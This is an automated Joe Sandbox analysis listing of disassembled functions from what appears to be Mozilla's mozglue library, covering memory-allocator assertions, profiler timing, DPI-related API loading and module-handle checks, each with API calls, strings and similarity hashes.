MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5899A8
Compile-time page size does not divide the runtime one., xrefs: 6C589B38
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5899D2

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: d3e137b1e1a561aa508e60b2c1ef09cb3e377042d35eb955adcf11da540a22a1
Instruction ID: 518bf56840ab972d881998351bec842bbb7ea58f66a9f714994cc62717175bd0
Opcode Fuzzy Hash: d3e137b1e1a561aa508e60b2c1ef09cb3e377042d35eb955adcf11da540a22a1
Instruction Fuzzy Hash: 32537D71A067118FD704CF29C980615FBE1FF8A728F29C6ADE8698B791D771E841CB81

Function 6C590DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C590F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C590F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C590FB7
EnterCriticalSection.KERNEL32(?), ref: 6C590FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C591031
LeaveCriticalSection.KERNEL32(?), ref: 6C5910D0
EnterCriticalSection.KERNEL32(?), ref: 6C59117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C591C39
EnterCriticalSection.KERNEL32(6C5DE744), ref: 6C593391
LeaveCriticalSection.KERNEL32(6C5DE744), ref: 6C5933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C593431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C593437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C593793
MALLOC_OPTIONS, xrefs: 6C5935FE
<jemalloc>, xrefs: 6C593941, 6C5939F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5937BD
MOZ_CRASH(), xrefs: 6C593950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C593559, 6C59382D, 6C593848
: (malloc) Unsupported character in malloc options: ', xrefs: 6C593A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5937A8
Compile-time page size does not divide the runtime one., xrefs: 6C593946
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5937D2

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: a670860c87b63ad77a190018e44eb5c67f0349c1afffda65e1c3bcd1ed7ffd1c
Instruction ID: 32ec1bca9f88728c47c78ce9c6256148410c68bc19e755a40e9118baa0521869
Opcode Fuzzy Hash: a670860c87b63ad77a190018e44eb5c67f0349c1afffda65e1c3bcd1ed7ffd1c
Instruction Fuzzy Hash: B2538C71A05791CFD704CF28C940616FBE2BF89328F29C6ADE8699B791D771E841CB81

Function 6C5B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C58E1A5), ref: 6C5B5606
LoadLibraryW.KERNEL32(gdi32,?,6C58E1A5), ref: 6C5B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C5B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C5B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C5B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C5B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C5B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C5B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C5B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C5B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C5B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C5B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C5B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5B57FF

Strings

MonitorFromWindow, xrefs: 6C5B578D
user32, xrefs: 6C5B5601
DeleteObject, xrefs: 6C5B57F9
FillRect, xrefs: 6C5B5729
GetWindowDC, xrefs: 6C5B5710
gdi32, xrefs: 6C5B560A
LoadCursorW, xrefs: 6C5B5774
GetThreadDpiAwarenessContext, xrefs: 6C5B562D
GetDpiForWindow, xrefs: 6C5B5690
SetWindowLongPtrW, xrefs: 6C5B57B7
StretchDIBits, xrefs: 6C5B57CC
LoadIconW, xrefs: 6C5B575B
GetMonitorInfoW, xrefs: 6C5B57A2
SetWindowPos, xrefs: 6C5B56F7
AreDpiAwarenessContextsEqual, xrefs: 6C5B5637
CreateSolidBrush, xrefs: 6C5B57E4
GetSystemMetricsForDpi, xrefs: 6C5B5677
ReleaseDC, xrefs: 6C5B5742
EnableNonClientDpiScaling, xrefs: 6C5B5666
RegisterClassW, xrefs: 6C5B56AC
ShowWindow, xrefs: 6C5B56DE
CreateWindowExW, xrefs: 6C5B56C5

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 8691c6649b3167ff4c2c083a276d1cec7adfff49ad66998a070de3c354317989
Instruction ID: 9193d8ffc73f025b4aafd08743eeee8aec97a5e7e1b26374186eade198fbfa29
Opcode Fuzzy Hash: 8691c6649b3167ff4c2c083a276d1cec7adfff49ad66998a070de3c354317989
Instruction Fuzzy Hash: E85144707113039BDB04AF79CD54A263EF9EB0A6457724A29B911F3A42EF70E8008F6D

Function 6C5B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B3EE2

Part of subcall function 6C5B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5B61DD
Part of subcall function 6C5B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C5B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B4157

Part of subcall function 6C5B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5B6250
Part of subcall function 6C5B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5B4896
free.MOZGLUE ref: 6C5B489F

Strings

, xrefs: 6C5B4CD2

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 393f5198ae3334a07ee96d6281bada5c91f40aaf932de2fb0dfb8ba2d5e2db28
Instruction ID: 227d267a5922388bf09ad3514c4aaca5930cbb933db0a7a2f9caa109fe3c35b6
Opcode Fuzzy Hash: 393f5198ae3334a07ee96d6281bada5c91f40aaf932de2fb0dfb8ba2d5e2db28
Instruction Fuzzy Hash: 87F23B74908B808FC735CF28C49469AFBF1BFC9308F158A5ED99997711DB31A886CB46

Function 6C59F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C59F09B

Part of subcall function 6C575B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5756EE,?,00000001), ref: 6C575B85
Part of subcall function 6C575B50: EnterCriticalSection.KERNEL32(6C5DF688,?,?,?,6C5756EE,?,00000001), ref: 6C575B90
Part of subcall function 6C575B50: LeaveCriticalSection.KERNEL32(6C5DF688,?,?,?,6C5756EE,?,00000001), ref: 6C575BD8
Part of subcall function 6C575B50: GetTickCount64.KERNEL32 ref: 6C575BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C59F0AC

Part of subcall function 6C575C50: GetTickCount64.KERNEL32 ref: 6C575D40
Part of subcall function 6C575C50: EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C575D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C59F0BE

Part of subcall function 6C575C50: __aulldiv.LIBCMT ref: 6C575DB4
Part of subcall function 6C575C50: LeaveCriticalSection.KERNEL32(6C5DF688), ref: 6C575DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C59F155
GetCurrentThreadId.KERNEL32 ref: 6C59F1E0
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F1ED
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F212
GetCurrentThreadId.KERNEL32 ref: 6C59F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C59F248
GetCurrentThreadId.KERNEL32 ref: 6C59F2AE
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F2BB
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F2F8

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59F350
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F35D
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F381
GetCurrentThreadId.KERNEL32 ref: 6C59F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F3A0
GetCurrentThreadId.KERNEL32 ref: 6C59F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F491

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C59F3CF

Part of subcall function 6C59F070: GetCurrentThreadId.KERNEL32 ref: 6C59F440
Part of subcall function 6C59F070: AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F44D
Part of subcall function 6C59F070: ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C59F4A8
GetCurrentThreadId.KERNEL32 ref: 6C59F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F561
GetCurrentThreadId.KERNEL32 ref: 6C59F577
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F585
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C59F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C59F499
[I %d/%d] profiler_resume, xrefs: 6C59F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C59F3A8

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 0fbf4f2b957b49d763ed908e921cf731bb9d50ae288f92204cd3c801c1d528c0
Instruction ID: bf301ec591619b4095de7ccd66b96bf52004a2d282613f569b1fadd1b3db9c6d
Opcode Fuzzy Hash: 0fbf4f2b957b49d763ed908e921cf731bb9d50ae288f92204cd3c801c1d528c0
Instruction Fuzzy Hash: 97D10631604344DFDB00AF68DC047AA77B9EB86329F16475AF95983B81DB71B804C7AE

Function 6C5664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C566505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C566518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C56652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C56671C
GetCurrentProcess.KERNEL32 ref: 6C566724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C56672F
GetCurrentProcess.KERNEL32 ref: 6C566759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C566764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C566A80
GetSystemInfo.KERNEL32(?), ref: 6C566ABE
__Init_thread_footer.LIBCMT ref: 6C566AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C566AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C566AF7

Strings

nvdxgiwrap.dll, xrefs: 6C566513
nvd3d9wrap.dll, xrefs: 6C566500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C566798
_etoured.dll, xrefs: 6C5664ED
user32.dll, xrefs: 6C566526
detoured.dll, xrefs: 6C5664DA

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 99a37059fd6cc8a66c18e5c32e9305680de79f54cd049f706ff39d33bfd92a56
Instruction ID: 32809b27468f5d13c566c8f4b9051e0e2b8a341e3fc1fdb6fcc6dfe52a02af04
Opcode Fuzzy Hash: 99a37059fd6cc8a66c18e5c32e9305680de79f54cd049f706ff39d33bfd92a56
Instruction Fuzzy Hash: 23F1D170905319DFDB20DF26CC48B9AB7B5EF46318F144299D809A3B61EB31AE84CF95

Function 6C57D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C57D904
LeaveCriticalSection.KERNEL32(?), ref: 6C57D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C57D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C57E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C57E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C57E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C57E315
AcquireSRWLockExclusive.KERNEL32(6C5DE804), ref: 6C57E37C
GetSystemInfo.KERNEL32(?), ref: 6C57E3C7
__Init_thread_footer.LIBCMT ref: 6C57E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5DE810,00000040), ref: 6C57E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE7B8,00001388), ref: 6C57E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE744,00001388), ref: 6C57E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE784,00001388), ref: 6C57E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE7DC,00001388), ref: 6C57E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE768,00001388), ref: 6C57E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C57E52E
ReleaseSRWLockExclusive.KERNEL32(6C5DE804), ref: 6C57E54F

Part of subcall function 6C56D960: EnterCriticalSection.KERNEL32(?), ref: 6C56D999
Part of subcall function 6C56D960: EnterCriticalSection.KERNEL32(6C5DE7B8), ref: 6C56DA13

Strings

MALLOC_OPTIONS, xrefs: 6C57E3FF
<jemalloc>, xrefs: 6C57E61C, 6C57E6CC
MOZ_CRASH(), xrefs: 6C57E62B
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C57E560, 6C57E58A, 6C57E5A5
: (malloc) Unsupported character in malloc options: ', xrefs: 6C57E6DD
Compile-time page size does not divide the runtime one., xrefs: 6C57E621

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: 274ffb43c3684a356777b5dcf366a534fce87f7c0db4b5b92c1b2a9a534739a7
Instruction ID: 8d109c4aa8222e48c4f1a460c01669d60a3d079cf4945cd0cdf40e9c940ae680
Opcode Fuzzy Hash: 274ffb43c3684a356777b5dcf366a534fce87f7c0db4b5b92c1b2a9a534739a7
Instruction Fuzzy Hash: 1F929C71A057018FD724CF28CD80755FBE1BF86728F29866DE8698B791D3B1E881CB91

Function 6C5BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C5BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C5BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C5BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C5BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C5BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C5BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C5BE472

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: a3ca863481a86eafa0b07b0b4971fe8436cf80ac0dd2c9cfcbddd241a4089dd2
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 6733AD71E0021ACFCB04CFA8C8906ADBBF2FF89310F288669D955BB755D735A945CB90

